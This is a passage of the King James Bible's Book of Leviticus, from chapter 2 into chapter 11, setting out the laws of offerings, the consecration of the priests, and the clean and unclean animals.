LORD: but they shall not be burnt on the altar for a sweet savour. + +2:13 And every oblation of thy meat offering shalt thou season with +salt; neither shalt thou suffer the salt of the covenant of thy God to +be lacking from thy meat offering: with all thine offerings thou shalt +offer salt. + +2:14 And if thou offer a meat offering of thy firstfruits unto the +LORD, thou shalt offer for the meat offering of thy firstfruits green +ears of corn dried by the fire, even corn beaten out of full ears. + +2:15 And thou shalt put oil upon it, and lay frankincense thereon: it +is a meat offering. + +2:16 And the priest shall burn the memorial of it, part of the beaten +corn thereof, and part of the oil thereof, with all the frankincense +thereof: it is an offering made by fire unto the LORD. + +3:1 And if his oblation be a sacrifice of peace offering, if he offer +it of the herd; whether it be a male or female, he shall offer it +without blemish before the LORD. + +3:2 And he shall lay his hand upon the head of his offering, and kill +it at the door of the tabernacle of the congregation: and Aaron's sons +the priests shall sprinkle the blood upon the altar round about. + +3:3 And he shall offer of the sacrifice of the peace offering an +offering made by fire unto the LORD; the fat that covereth the +inwards, and all the fat that is upon the inwards, 3:4 And the two +kidneys, and the fat that is on them, which is by the flanks, and the +caul above the liver, with the kidneys, it shall he take away. + +3:5 And Aaron's sons shall burn it on the altar upon the burnt +sacrifice, which is upon the wood that is on the fire: it is an +offering made by fire, of a sweet savour unto the LORD. + +3:6 And if his offering for a sacrifice of peace offering unto the +LORD be of the flock; male or female, he shall offer it without +blemish. + +3:7 If he offer a lamb for his offering, then shall he offer it before +the LORD. + +3:8 And he shall lay his hand upon the head of his offering, and kill +it before the tabernacle of the congregation: and Aaron's sons shall +sprinkle the blood thereof round about upon the altar. + +3:9 And he shall offer of the sacrifice of the peace offering an +offering made by fire unto the LORD; the fat thereof, and the whole +rump, it shall he take off hard by the backbone; and the fat that +covereth the inwards, and all the fat that is upon the inwards, 3:10 +And the two kidneys, and the fat that is upon them, which is by the +flanks, and the caul above the liver, with the kidneys, it shall he +take away. + +3:11 And the priest shall burn it upon the altar: it is the food of +the offering made by fire unto the LORD. + +3:12 And if his offering be a goat, then he shall offer it before the +LORD. + +3:13 And he shall lay his hand upon the head of it, and kill it before +the tabernacle of the congregation: and the sons of Aaron shall +sprinkle the blood thereof upon the altar round about. + +3:14 And he shall offer thereof his offering, even an offering made by +fire unto the LORD; the fat that covereth the inwards, and all the fat +that is upon the inwards, 3:15 And the two kidneys, and the fat that +is upon them, which is by the flanks, and the caul above the liver, +with the kidneys, it shall he take away. + +3:16 And the priest shall burn them upon the altar: it is the food of +the offering made by fire for a sweet savour: all the fat is the +LORD's. + +3:17 It shall be a perpetual statute for your generations throughout +all your dwellings, that ye eat neither fat nor blood. + +4:1 And the LORD spake unto Moses, saying, 4:2 Speak unto the children +of Israel, saying, If a soul shall sin through ignorance against any +of the commandments of the LORD concerning things which ought not to +be done, and shall do against any of them: 4:3 If the priest that is +anointed do sin according to the sin of the people; then let him bring +for his sin, which he hath sinned, a young bullock without blemish +unto the LORD for a sin offering. + +4:4 And he shall bring the bullock unto the door of the tabernacle of +the congregation before the LORD; and shall lay his hand upon the +bullock's head, and kill the bullock before the LORD. + +4:5 And the priest that is anointed shall take of the bullock's blood, +and bring it to the tabernacle of the congregation: 4:6 And the priest +shall dip his finger in the blood, and sprinkle of the blood seven +times before the LORD, before the vail of the sanctuary. + +4:7 And the priest shall put some of the blood upon the horns of the +altar of sweet incense before the LORD, which is in the tabernacle of +the congregation; and shall pour all the blood of the bullock at the +bottom of the altar of the burnt offering, which is at the door of the +tabernacle of the congregation. + +4:8 And he shall take off from it all the fat of the bullock for the +sin offering; the fat that covereth the inwards, and all the fat that +is upon the inwards, 4:9 And the two kidneys, and the fat that is upon +them, which is by the flanks, and the caul above the liver, with the +kidneys, it shall he take away, 4:10 As it was taken off from the +bullock of the sacrifice of peace offerings: and the priest shall burn +them upon the altar of the burnt offering. + +4:11 And the skin of the bullock, and all his flesh, with his head, +and with his legs, and his inwards, and his dung, 4:12 Even the whole +bullock shall he carry forth without the camp unto a clean place, +where the ashes are poured out, and burn him on the wood with fire: +where the ashes are poured out shall he be burnt. + +4:13 And if the whole congregation of Israel sin through ignorance, +and the thing be hid from the eyes of the assembly, and they have done +somewhat against any of the commandments of the LORD concerning things +which should not be done, and are guilty; 4:14 When the sin, which +they have sinned against it, is known, then the congregation shall +offer a young bullock for the sin, and bring him before the tabernacle +of the congregation. + +4:15 And the elders of the congregation shall lay their hands upon the +head of the bullock before the LORD: and the bullock shall be killed +before the LORD. + +4:16 And the priest that is anointed shall bring of the bullock's +blood to the tabernacle of the congregation: 4:17 And the priest shall +dip his finger in some of the blood, and sprinkle it seven times +before the LORD, even before the vail. + +4:18 And he shall put some of the blood upon the horns of the altar +which is before the LORD, that is in the tabernacle of the +congregation, and shall pour out all the blood at the bottom of the +altar of the burnt offering, which is at the door of the tabernacle of +the congregation. + +4:19 And he shall take all his fat from him, and burn it upon the +altar. + +4:20 And he shall do with the bullock as he did with the bullock for a +sin offering, so shall he do with this: and the priest shall make an +atonement for them, and it shall be forgiven them. + +4:21 And he shall carry forth the bullock without the camp, and burn +him as he burned the first bullock: it is a sin offering for the +congregation. + +4:22 When a ruler hath sinned, and done somewhat through ignorance +against any of the commandments of the LORD his God concerning things +which should not be done, and is guilty; 4:23 Or if his sin, wherein +he hath sinned, come to his knowledge; he shall bring his offering, a +kid of the goats, a male without blemish: 4:24 And he shall lay his +hand upon the head of the goat, and kill it in the place where they +kill the burnt offering before the LORD: it is a sin offering. + +4:25 And the priest shall take of the blood of the sin offering with +his finger, and put it upon the horns of the altar of burnt offering, +and shall pour out his blood at the bottom of the altar of burnt +offering. + +4:26 And he shall burn all his fat upon the altar, as the fat of the +sacrifice of peace offerings: and the priest shall make an atonement +for him as concerning his sin, and it shall be forgiven him. + +4:27 And if any one of the common people sin through ignorance, while +he doeth somewhat against any of the commandments of the LORD +concerning things which ought not to be done, and be guilty; 4:28 Or +if his sin, which he hath sinned, come to his knowledge: then he shall +bring his offering, a kid of the goats, a female without blemish, for +his sin which he hath sinned. + +4:29 And he shall lay his hand upon the head of the sin offering, and +slay the sin offering in the place of the burnt offering. + +4:30 And the priest shall take of the blood thereof with his finger, +and put it upon the horns of the altar of burnt offering, and shall +pour out all the blood thereof at the bottom of the altar. + +4:31 And he shall take away all the fat thereof, as the fat is taken +away from off the sacrifice of peace offerings; and the priest shall +burn it upon the altar for a sweet savour unto the LORD; and the +priest shall make an atonement for him, and it shall be forgiven him. + +4:32 And if he bring a lamb for a sin offering, he shall bring it a +female without blemish. + +4:33 And he shall lay his hand upon the head of the sin offering, and +slay it for a sin offering in the place where they kill the burnt +offering. + +4:34 And the priest shall take of the blood of the sin offering with +his finger, and put it upon the horns of the altar of burnt offering, +and shall pour out all the blood thereof at the bottom of the altar: +4:35 And he shall take away all the fat thereof, as the fat of the +lamb is taken away from the sacrifice of the peace offerings; and the +priest shall burn them upon the altar, according to the offerings made +by fire unto the LORD: and the priest shall make an atonement for his +sin that he hath committed, and it shall be forgiven him. + +5:1 And if a soul sin, and hear the voice of swearing, and is a +witness, whether he hath seen or known of it; if he do not utter it, +then he shall bear his iniquity. + +5:2 Or if a soul touch any unclean thing, whether it be a carcase of +an unclean beast, or a carcase of unclean cattle, or the carcase of +unclean creeping things, and if it be hidden from him; he also shall +be unclean, and guilty. + +5:3 Or if he touch the uncleanness of man, whatsoever uncleanness it +be that a man shall be defiled withal, and it be hid from him; when he +knoweth of it, then he shall be guilty. + +5:4 Or if a soul swear, pronouncing with his lips to do evil, or to do +good, whatsoever it be that a man shall pronounce with an oath, and it +be hid from him; when he knoweth of it, then he shall be guilty in one +of these. + +5:5 And it shall be, when he shall be guilty in one of these things, +that he shall confess that he hath sinned in that thing: 5:6 And he +shall bring his trespass offering unto the LORD for his sin which he +hath sinned, a female from the flock, a lamb or a kid of the goats, +for a sin offering; and the priest shall make an atonement for him +concerning his sin. + +5:7 And if he be not able to bring a lamb, then he shall bring for his +trespass, which he hath committed, two turtledoves, or two young +pigeons, unto the LORD; one for a sin offering, and the other for a +burnt offering. + +5:8 And he shall bring them unto the priest, who shall offer that +which is for the sin offering first, and wring off his head from his +neck, but shall not divide it asunder: 5:9 And he shall sprinkle of +the blood of the sin offering upon the side of the altar; and the rest +of the blood shall be wrung out at the bottom of the altar: it is a +sin offering. + +5:10 And he shall offer the second for a burnt offering, according to +the manner: and the priest shall make an atonement for him for his sin +which he hath sinned, and it shall be forgiven him. + +5:11 But if he be not able to bring two turtledoves, or two young +pigeons, then he that sinned shall bring for his offering the tenth +part of an ephah of fine flour for a sin offering; he shall put no oil +upon it, neither shall he put any frankincense thereon: for it is a +sin offering. + +5:12 Then shall he bring it to the priest, and the priest shall take +his handful of it, even a memorial thereof, and burn it on the altar, +according to the offerings made by fire unto the LORD: it is a sin +offering. + +5:13 And the priest shall make an atonement for him as touching his +sin that he hath sinned in one of these, and it shall be forgiven him: +and the remnant shall be the priest's, as a meat offering. + +5:14 And the LORD spake unto Moses, saying, 5:15 If a soul commit a +trespass, and sin through ignorance, in the holy things of the LORD; +then he shall bring for his trespass unto the LORD a ram without +blemish out of the flocks, with thy estimation by shekels of silver, +after the shekel of the sanctuary, for a trespass offering. + +5:16 And he shall make amends for the harm that he hath done in the +holy thing, and shall add the fifth part thereto, and give it unto the +priest: and the priest shall make an atonement for him with the ram of +the trespass offering, and it shall be forgiven him. + +5:17 And if a soul sin, and commit any of these things which are +forbidden to be done by the commandments of the LORD; though he wist +it not, yet is he guilty, and shall bear his iniquity. + +5:18 And he shall bring a ram without blemish out of the flock, with +thy estimation, for a trespass offering, unto the priest: and the +priest shall make an atonement for him concerning his ignorance +wherein he erred and wist it not, and it shall be forgiven him. + +5:19 It is a trespass offering: he hath certainly trespassed against +the LORD. + +6:1 And the LORD spake unto Moses, saying, 6:2 If a soul sin, and +commit a trespass against the LORD, and lie unto his neighbour in that +which was delivered him to keep, or in fellowship, or in a thing taken +away by violence, or hath deceived his neighbour; 6:3 Or have found +that which was lost, and lieth concerning it, and sweareth falsely; in +any of all these that a man doeth, sinning therein: 6:4 Then it shall +be, because he hath sinned, and is guilty, that he shall restore that +which he took violently away, or the thing which he hath deceitfully +gotten, or that which was delivered him to keep, or the lost thing +which he found, 6:5 Or all that about which he hath sworn falsely; he +shall even restore it in the principal, and shall add the fifth part +more thereto, and give it unto him to whom it appertaineth, in the day +of his trespass offering. + +6:6 And he shall bring his trespass offering unto the LORD, a ram +without blemish out of the flock, with thy estimation, for a trespass +offering, unto the priest: 6:7 And the priest shall make an atonement +for him before the LORD: and it shall be forgiven him for any thing of +all that he hath done in trespassing therein. + +6:8 And the LORD spake unto Moses, saying, 6:9 Command Aaron and his +sons, saying, This is the law of the burnt offering: It is the burnt +offering, because of the burning upon the altar all night unto the +morning, and the fire of the altar shall be burning in it. + +6:10 And the priest shall put on his linen garment, and his linen +breeches shall he put upon his flesh, and take up the ashes which the +fire hath consumed with the burnt offering on the altar, and he shall +put them beside the altar. + +6:11 And he shall put off his garments, and put on other garments, and +carry forth the ashes without the camp unto a clean place. + +6:12 And the fire upon the altar shall be burning in it; it shall not +be put out: and the priest shall burn wood on it every morning, and +lay the burnt offering in order upon it; and he shall burn thereon the +fat of the peace offerings. + +6:13 The fire shall ever be burning upon the altar; it shall never go +out. + +6:14 And this is the law of the meat offering: the sons of Aaron shall +offer it before the LORD, before the altar. + +6:15 And he shall take of it his handful, of the flour of the meat +offering, and of the oil thereof, and all the frankincense which is +upon the meat offering, and shall burn it upon the altar for a sweet +savour, even the memorial of it, unto the LORD. + +6:16 And the remainder thereof shall Aaron and his sons eat: with +unleavened bread shall it be eaten in the holy place; in the court of +the tabernacle of the congregation they shall eat it. + +6:17 It shall not be baken with leaven. I have given it unto them for +their portion of my offerings made by fire; it is most holy, as is the +sin offering, and as the trespass offering. + +6:18 All the males among the children of Aaron shall eat of it. It +shall be a statute for ever in your generations concerning the +offerings of the LORD made by fire: every one that toucheth them shall +be holy. + +6:19 And the LORD spake unto Moses, saying, 6:20 This is the offering +of Aaron and of his sons, which they shall offer unto the LORD in the +day when he is anointed; the tenth part of an ephah of fine flour for +a meat offering perpetual, half of it in the morning, and half thereof +at night. + +6:21 In a pan it shall be made with oil; and when it is baken, thou +shalt bring it in: and the baken pieces of the meat offering shalt +thou offer for a sweet savour unto the LORD. + +6:22 And the priest of his sons that is anointed in his stead shall +offer it: it is a statute for ever unto the LORD; it shall be wholly +burnt. + +6:23 For every meat offering for the priest shall be wholly burnt: it +shall not be eaten. + +6:24 And the LORD spake unto Moses, saying, 6:25 Speak unto Aaron and +to his sons, saying, This is the law of the sin offering: In the place +where the burnt offering is killed shall the sin offering be killed +before the LORD: it is most holy. + +6:26 The priest that offereth it for sin shall eat it: in the holy +place shall it be eaten, in the court of the tabernacle of the +congregation. + +6:27 Whatsoever shall touch the flesh thereof shall be holy: and when +there is sprinkled of the blood thereof upon any garment, thou shalt +wash that whereon it was sprinkled in the holy place. + +6:28 But the earthen vessel wherein it is sodden shall be broken: and +if it be sodden in a brasen pot, it shall be both scoured, and rinsed +in water. + +6:29 All the males among the priests shall eat thereof: it is most +holy. + +6:30 And no sin offering, whereof any of the blood is brought into the +tabernacle of the congregation to reconcile withal in the holy place, +shall be eaten: it shall be burnt in the fire. + +7:1 Likewise this is the law of the trespass offering: it is most +holy. + +7:2 In the place where they kill the burnt offering shall they kill +the trespass offering: and the blood thereof shall he sprinkle round +about upon the altar. + +7:3 And he shall offer of it all the fat thereof; the rump, and the +fat that covereth the inwards, 7:4 And the two kidneys, and the fat +that is on them, which is by the flanks, and the caul that is above +the liver, with the kidneys, it shall he take away: 7:5 And the priest +shall burn them upon the altar for an offering made by fire unto the +LORD: it is a trespass offering. + +7:6 Every male among the priests shall eat thereof: it shall be eaten +in the holy place: it is most holy. + +7:7 As the sin offering is, so is the trespass offering: there is one +law for them: the priest that maketh atonement therewith shall have +it. + +7:8 And the priest that offereth any man's burnt offering, even the +priest shall have to himself the skin of the burnt offering which he +hath offered. + +7:9 And all the meat offering that is baken in the oven, and all that +is dressed in the fryingpan, and in the pan, shall be the priest's +that offereth it. + +7:10 And every meat offering, mingled with oil, and dry, shall all the +sons of Aaron have, one as much as another. + +7:11 And this is the law of the sacrifice of peace offerings, which he +shall offer unto the LORD. + +7:12 If he offer it for a thanksgiving, then he shall offer with the +sacrifice of thanksgiving unleavened cakes mingled with oil, and +unleavened wafers anointed with oil, and cakes mingled with oil, of +fine flour, fried. + +7:13 Besides the cakes, he shall offer for his offering leavened bread +with the sacrifice of thanksgiving of his peace offerings. + +7:14 And of it he shall offer one out of the whole oblation for an +heave offering unto the LORD, and it shall be the priest's that +sprinkleth the blood of the peace offerings. + +7:15 And the flesh of the sacrifice of his peace offerings for +thanksgiving shall be eaten the same day that it is offered; he shall +not leave any of it until the morning. + +7:16 But if the sacrifice of his offering be a vow, or a voluntary +offering, it shall be eaten the same day that he offereth his +sacrifice: and on the morrow also the remainder of it shall be eaten: +7:17 But the remainder of the flesh of the sacrifice on the third day +shall be burnt with fire. + +7:18 And if any of the flesh of the sacrifice of his peace offerings +be eaten at all on the third day, it shall not be accepted, neither +shall it be imputed unto him that offereth it: it shall be an +abomination, and the soul that eateth of it shall bear his iniquity. + +7:19 And the flesh that toucheth any unclean thing shall not be eaten; +it shall be burnt with fire: and as for the flesh, all that be clean +shall eat thereof. + +7:20 But the soul that eateth of the flesh of the sacrifice of peace +offerings, that pertain unto the LORD, having his uncleanness upon +him, even that soul shall be cut off from his people. + +7:21 Moreover the soul that shall touch any unclean thing, as the +uncleanness of man, or any unclean beast, or any abominable unclean +thing, and eat of the flesh of the sacrifice of peace offerings, which +pertain unto the LORD, even that soul shall be cut off from his +people. + +7:22 And the LORD spake unto Moses, saying, 7:23 Speak unto the +children of Israel, saying, Ye shall eat no manner of fat, of ox, or +of sheep, or of goat. + +7:24 And the fat of the beast that dieth of itself, and the fat of +that which is torn with beasts, may be used in any other use: but ye +shall in no wise eat of it. + +7:25 For whosoever eateth the fat of the beast, of which men offer an +offering made by fire unto the LORD, even the soul that eateth it +shall be cut off from his people. + +7:26 Moreover ye shall eat no manner of blood, whether it be of fowl +or of beast, in any of your dwellings. + +7:27 Whatsoever soul it be that eateth any manner of blood, even that +soul shall be cut off from his people. + +7:28 And the LORD spake unto Moses, saying, 7:29 Speak unto the +children of Israel, saying, He that offereth the sacrifice of his +peace offerings unto the LORD shall bring his oblation unto the LORD +of the sacrifice of his peace offerings. + +7:30 His own hands shall bring the offerings of the LORD made by fire, +the fat with the breast, it shall he bring, that the breast may be +waved for a wave offering before the LORD. + +7:31 And the priest shall burn the fat upon the altar: but the breast +shall be Aaron's and his sons'. + +7:32 And the right shoulder shall ye give unto the priest for an heave +offering of the sacrifices of your peace offerings. + +7:33 He among the sons of Aaron, that offereth the blood of the peace +offerings, and the fat, shall have the right shoulder for his part. + +7:34 For the wave breast and the heave shoulder have I taken of the +children of Israel from off the sacrifices of their peace offerings, +and have given them unto Aaron the priest and unto his sons by a +statute for ever from among the children of Israel. + +7:35 This is the portion of the anointing of Aaron, and of the +anointing of his sons, out of the offerings of the LORD made by fire, +in the day when he presented them to minister unto the LORD in the +priest's office; 7:36 Which the LORD commanded to be given them of the +children of Israel, in the day that he anointed them, by a statute for +ever throughout their generations. + +7:37 This is the law of the burnt offering, of the meat offering, and +of the sin offering, and of the trespass offering, and of the +consecrations, and of the sacrifice of the peace offerings; 7:38 Which +the LORD commanded Moses in mount Sinai, in the day that he commanded +the children of Israel to offer their oblations unto the LORD, in the +wilderness of Sinai. + +8:1 And the LORD spake unto Moses, saying, 8:2 Take Aaron and his sons +with him, and the garments, and the anointing oil, and a bullock for +the sin offering, and two rams, and a basket of unleavened bread; 8:3 +And gather thou all the congregation together unto the door of the +tabernacle of the congregation. + +8:4 And Moses did as the LORD commanded him; and the assembly was +gathered together unto the door of the tabernacle of the congregation. + +8:5 And Moses said unto the congregation, This is the thing which the +LORD commanded to be done. + +8:6 And Moses brought Aaron and his sons, and washed them with water. + +8:7 And he put upon him the coat, and girded him with the girdle, and +clothed him with the robe, and put the ephod upon him, and he girded +him with the curious girdle of the ephod, and bound it unto him +therewith. + +8:8 And he put the breastplate upon him: also he put in the +breastplate the Urim and the Thummim. + +8:9 And he put the mitre upon his head; also upon the mitre, even upon +his forefront, did he put the golden plate, the holy crown; as the +LORD commanded Moses. + +8:10 And Moses took the anointing oil, and anointed the tabernacle and +all that was therein, and sanctified them. + +8:11 And he sprinkled thereof upon the altar seven times, and anointed +the altar and all his vessels, both the laver and his foot, to +sanctify them. + +8:12 And he poured of the anointing oil upon Aaron's head, and +anointed him, to sanctify him. + +8:13 And Moses brought Aaron's sons, and put coats upon them, and +girded them with girdles, and put bonnets upon them; as the LORD +commanded Moses. + +8:14 And he brought the bullock for the sin offering: and Aaron and +his sons laid their hands upon the head of the bullock for the sin +offering. + +8:15 And he slew it; and Moses took the blood, and put it upon the +horns of the altar round about with his finger, and purified the +altar, and poured the blood at the bottom of the altar, and sanctified +it, to make reconciliation upon it. + +8:16 And he took all the fat that was upon the inwards, and the caul +above the liver, and the two kidneys, and their fat, and Moses burned +it upon the altar. + +8:17 But the bullock, and his hide, his flesh, and his dung, he burnt +with fire without the camp; as the LORD commanded Moses. + +8:18 And he brought the ram for the burnt offering: and Aaron and his +sons laid their hands upon the head of the ram. + +8:19 And he killed it; and Moses sprinkled the blood upon the altar +round about. + +8:20 And he cut the ram into pieces; and Moses burnt the head, and the +pieces, and the fat. + +8:21 And he washed the inwards and the legs in water; and Moses burnt +the whole ram upon the altar: it was a burnt sacrifice for a sweet +savour, and an offering made by fire unto the LORD; as the LORD +commanded Moses. + +8:22 And he brought the other ram, the ram of consecration: and Aaron +and his sons laid their hands upon the head of the ram. + +8:23 And he slew it; and Moses took of the blood of it, and put it +upon the tip of Aaron's right ear, and upon the thumb of his right +hand, and upon the great toe of his right foot. + +8:24 And he brought Aaron's sons, and Moses put of the blood upon the +tip of their right ear, and upon the thumbs of their right hands, and +upon the great toes of their right feet: and Moses sprinkled the blood +upon the altar round about. + +8:25 And he took the fat, and the rump, and all the fat that was upon +the inwards, and the caul above the liver, and the two kidneys, and +their fat, and the right shoulder: 8:26 And out of the basket of +unleavened bread, that was before the LORD, he took one unleavened +cake, and a cake of oiled bread, and one wafer, and put them on the +fat, and upon the right shoulder: 8:27 And he put all upon Aaron's +hands, and upon his sons' hands, and waved them for a wave offering +before the LORD. + +8:28 And Moses took them from off their hands, and burnt them on the +altar upon the burnt offering: they were consecrations for a sweet +savour: it is an offering made by fire unto the LORD. + +8:29 And Moses took the breast, and waved it for a wave offering +before the LORD: for of the ram of consecration it was Moses' part; as +the LORD commanded Moses. + +8:30 And Moses took of the anointing oil, and of the blood which was +upon the altar, and sprinkled it upon Aaron, and upon his garments, +and upon his sons, and upon his sons' garments with him; and +sanctified Aaron, and his garments, and his sons, and his sons' +garments with him. + +8:31 And Moses said unto Aaron and to his sons, Boil the flesh at the +door of the tabernacle of the congregation: and there eat it with the +bread that is in the basket of consecrations, as I commanded, saying, +Aaron and his sons shall eat it. + +8:32 And that which remaineth of the flesh and of the bread shall ye +burn with fire. + +8:33 And ye shall not go out of the door of the tabernacle of the +congregation in seven days, until the days of your consecration be at +an end: for seven days shall he consecrate you. + +8:34 As he hath done this day, so the LORD hath commanded to do, to +make an atonement for you. + +8:35 Therefore shall ye abide at the door of the tabernacle of the +congregation day and night seven days, and keep the charge of the +LORD, that ye die not: for so I am commanded. + +8:36 So Aaron and his sons did all things which the LORD commanded by +the hand of Moses. + +9:1 And it came to pass on the eighth day, that Moses called Aaron and +his sons, and the elders of Israel; 9:2 And he said unto Aaron, Take +thee a young calf for a sin offering, and a ram for a burnt offering, +without blemish, and offer them before the LORD. + +9:3 And unto the children of Israel thou shalt speak, saying, Take ye +a kid of the goats for a sin offering; and a calf and a lamb, both of +the first year, without blemish, for a burnt offering; 9:4 Also a +bullock and a ram for peace offerings, to sacrifice before the LORD; +and a meat offering mingled with oil: for to day the LORD will appear +unto you. + +9:5 And they brought that which Moses commanded before the tabernacle +of the congregation: and all the congregation drew near and stood +before the LORD. + +9:6 And Moses said, This is the thing which the LORD commanded that ye +should do: and the glory of the LORD shall appear unto you. + +9:7 And Moses said unto Aaron, Go unto the altar, and offer thy sin +offering, and thy burnt offering, and make an atonement for thyself, +and for the people: and offer the offering of the people, and make an +atonement for them; as the LORD commanded. + +9:8 Aaron therefore went unto the altar, and slew the calf of the sin +offering, which was for himself. + +9:9 And the sons of Aaron brought the blood unto him: and he dipped +his finger in the blood, and put it upon the horns of the altar, and +poured out the blood at the bottom of the altar: 9:10 But the fat, and +the kidneys, and the caul above the liver of the sin offering, he +burnt upon the altar; as the LORD commanded Moses. + +9:11 And the flesh and the hide he burnt with fire without the camp. + +9:12 And he slew the burnt offering; and Aaron's sons presented unto +him the blood, which he sprinkled round about upon the altar. + +9:13 And they presented the burnt offering unto him, with the pieces +thereof, and the head: and he burnt them upon the altar. + +9:14 And he did wash the inwards and the legs, and burnt them upon the +burnt offering on the altar. + +9:15 And he brought the people's offering, and took the goat, which +was the sin offering for the people, and slew it, and offered it for +sin, as the first. + +9:16 And he brought the burnt offering, and offered it according to +the manner. + +9:17 And he brought the meat offering, and took an handful thereof, +and burnt it upon the altar, beside the burnt sacrifice of the +morning. + +9:18 He slew also the bullock and the ram for a sacrifice of peace +offerings, which was for the people: and Aaron's sons presented unto +him the blood, which he sprinkled upon the altar round about, 9:19 And +the fat of the bullock and of the ram, the rump, and that which +covereth the inwards, and the kidneys, and the caul above the liver: +9:20 And they put the fat upon the breasts, and he burnt the fat upon +the altar: 9:21 And the breasts and the right shoulder Aaron waved for +a wave offering before the LORD; as Moses commanded. + +9:22 And Aaron lifted up his hand toward the people, and blessed them, +and came down from offering of the sin offering, and the burnt +offering, and peace offerings. + +9:23 And Moses and Aaron went into the tabernacle of the congregation, +and came out, and blessed the people: and the glory of the LORD +appeared unto all the people. + +9:24 And there came a fire out from before the LORD, and consumed upon +the altar the burnt offering and the fat: which when all the people +saw, they shouted, and fell on their faces. + +10:1 And Nadab and Abihu, the sons of Aaron, took either of them his +censer, and put fire therein, and put incense thereon, and offered +strange fire before the LORD, which he commanded them not. + +10:2 And there went out fire from the LORD, and devoured them, and +they died before the LORD. + +10:3 Then Moses said unto Aaron, This is it that the LORD spake, +saying, I will be sanctified in them that come nigh me, and before all +the people I will be glorified. And Aaron held his peace. + +10:4 And Moses called Mishael and Elzaphan, the sons of Uzziel the +uncle of Aaron, and said unto them, Come near, carry your brethren +from before the sanctuary out of the camp. + +10:5 So they went near, and carried them in their coats out of the +camp; as Moses had said. + +10:6 And Moses said unto Aaron, and unto Eleazar and unto Ithamar, his +sons, Uncover not your heads, neither rend your clothes; lest ye die, +and lest wrath come upon all the people: but let your brethren, the +whole house of Israel, bewail the burning which the LORD hath kindled. + +10:7 And ye shall not go out from the door of the tabernacle of the +congregation, lest ye die: for the anointing oil of the LORD is upon +you. And they did according to the word of Moses. + +10:8 And the LORD spake unto Aaron, saying, 10:9 Do not drink wine nor +strong drink, thou, nor thy sons with thee, when ye go into the +tabernacle of the congregation, lest ye die: it shall be a statute for +ever throughout your generations: 10:10 And that ye may put difference +between holy and unholy, and between unclean and clean; 10:11 And that +ye may teach the children of Israel all the statutes which the LORD +hath spoken unto them by the hand of Moses. + +10:12 And Moses spake unto Aaron, and unto Eleazar and unto Ithamar, +his sons that were left, Take the meat offering that remaineth of the +offerings of the LORD made by fire, and eat it without leaven beside +the altar: for it is most holy: 10:13 And ye shall eat it in the holy +place, because it is thy due, and thy sons' due, of the sacrifices of +the LORD made by fire: for so I am commanded. + +10:14 And the wave breast and heave shoulder shall ye eat in a clean +place; thou, and thy sons, and thy daughters with thee: for they be +thy due, and thy sons' due, which are given out of the sacrifices of +peace offerings of the children of Israel. + +10:15 The heave shoulder and the wave breast shall they bring with the +offerings made by fire of the fat, to wave it for a wave offering +before the LORD; and it shall be thine, and thy sons' with thee, by a +statute for ever; as the LORD hath commanded. + +10:16 And Moses diligently sought the goat of the sin offering, and, +behold, it was burnt: and he was angry with Eleazar and Ithamar, the +sons of Aaron which were left alive, saying, 10:17 Wherefore have ye +not eaten the sin offering in the holy place, seeing it is most holy, +and God hath given it you to bear the iniquity of the congregation, to +make atonement for them before the LORD? 10:18 Behold, the blood of +it was not brought in within the holy place: ye should indeed have +eaten it in the holy place, as I commanded. + +10:19 And Aaron said unto Moses, Behold, this day have they offered +their sin offering and their burnt offering before the LORD; and such +things have befallen me: and if I had eaten the sin offering to day, +should it have been accepted in the sight of the LORD? 10:20 And when +Moses heard that, he was content. + +11:1 And the LORD spake unto Moses and to Aaron, saying unto them, +11:2 Speak unto the children of Israel, saying, These are the beasts +which ye shall eat among all the beasts that are on the earth. + +11:3 Whatsoever parteth the hoof, and is clovenfooted, and cheweth the +cud, among the beasts, that shall ye eat. + +11:4 Nevertheless these shall ye not eat of them that chew the cud, or +of them that divide the hoof: as the camel, because he cheweth the +cud, but divideth not the hoof; he is unclean unto you. + +11:5 And the coney, because he cheweth the cud, but divideth not the +hoof; he is unclean unto you. + +11:6 And the hare, because he cheweth the cud, but divideth not the +hoof; he is unclean unto you. + +11:7 And the swine, though he divide the hoof, and be clovenfooted, +yet he cheweth not the cud; he is unclean to you. + +11:8 Of their flesh shall ye not eat, and their carcase shall ye not +touch; they are unclean to you. + +11:9 These shall ye eat of all that are in the waters: whatsoever hath +fins and scales in the waters, in the seas, and in the rivers, them +shall ye eat. + +11:10 And all that have not fins and scales in the seas, and in the +rivers, of all that move in the waters, and of any living thing which +is in the waters, they shall be an abomination unto you: 11:11 They +shall be even an abomination unto you; ye shall not eat of their +flesh, but ye shall have their carcases in abomination. + +11:12 Whatsoever hath no fins nor scales in the waters, that shall be +an abomination unto you. + +11:13 And these are they which ye shall have in abomination among the +fowls; they shall not be eaten, they are an abomination: the eagle, +and the ossifrage, and the ospray, 11:14 And the vulture, and the kite +after his kind; 11:15 Every raven after his kind; 11:16 And the owl, +and the night hawk, and the cuckow, and the hawk after his kind, 11:17 +And the little owl, and the cormorant, and the great owl, 11:18 And +the swan, and the pelican, and the gier eagle, 11:19 And the stork, +the heron after her kind, and the lapwing, and the bat. + +11:20 All fowls that creep, going upon all four, shall be an +abomination unto you. + +11:21 Yet these may ye eat of every flying creeping thing that goeth +upon all four, which have legs above their feet, to leap withal upon +the earth; 11:22 Even these of them ye may eat; the locust after his +kind, and the bald locust after his kind, and the beetle after his +kind, and the grasshopper after his kind. + +11:23 But all other flying creeping things, which have four feet, +shall be an abomination unto you. + +11:24 And for these ye shall be unclean: whosoever toucheth the +carcase of them shall be unclean until the even. + +11:25 And whosoever beareth ought of the carcase of them shall wash +his clothes, and be unclean until the even. + +11:26 The carcases of every beast which divideth the hoof, and is not +clovenfooted, nor cheweth the cud, are unclean unto you: every one +that toucheth them shall be unclean. + +11:27 And whatsoever goeth upon his paws, among all manner of beasts +that go on all four, those are unclean unto you: whoso toucheth their +carcase shall be unclean until the even. + +11:28 And he that beareth the carcase of them shall wash his clothes, +and be unclean until the even: they are unclean unto you. + +11:29 These also shall be unclean unto you among the creeping things +that creep upon the earth; the weasel, and the mouse, and the tortoise +after his kind, 11:30 And the ferret, and the chameleon, and the +lizard, and the snail, and the mole. + +11:31 These are unclean to you among all that creep: whosoever doth +touch them, when they be dead, shall be unclean until the even. + +11:32 And upon whatsoever any of them, when they are dead, doth fall, +it shall be unclean; whether it be any vessel of wood, or raiment, or +skin, or sack, whatsoever vessel it be, wherein any work is done, it +must be put into water, and it shall be unclean until the even; so it +shall be cleansed. + +11:33 And every earthen vessel, whereinto any of them falleth, +whatsoever is in it shall be unclean; and ye shall break it. + +11:34 Of all meat which may be eaten, that on which such water cometh 